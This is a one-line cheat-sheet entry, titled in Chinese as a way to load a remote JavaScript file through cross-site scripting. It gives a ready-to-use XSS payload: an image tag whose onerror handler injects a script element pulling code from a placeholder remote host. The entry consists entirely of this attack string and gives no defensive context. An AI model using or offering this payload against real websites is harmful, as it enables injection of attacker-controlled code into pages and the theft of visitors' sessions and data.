====== xss加载远程js文件 ======
  <img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>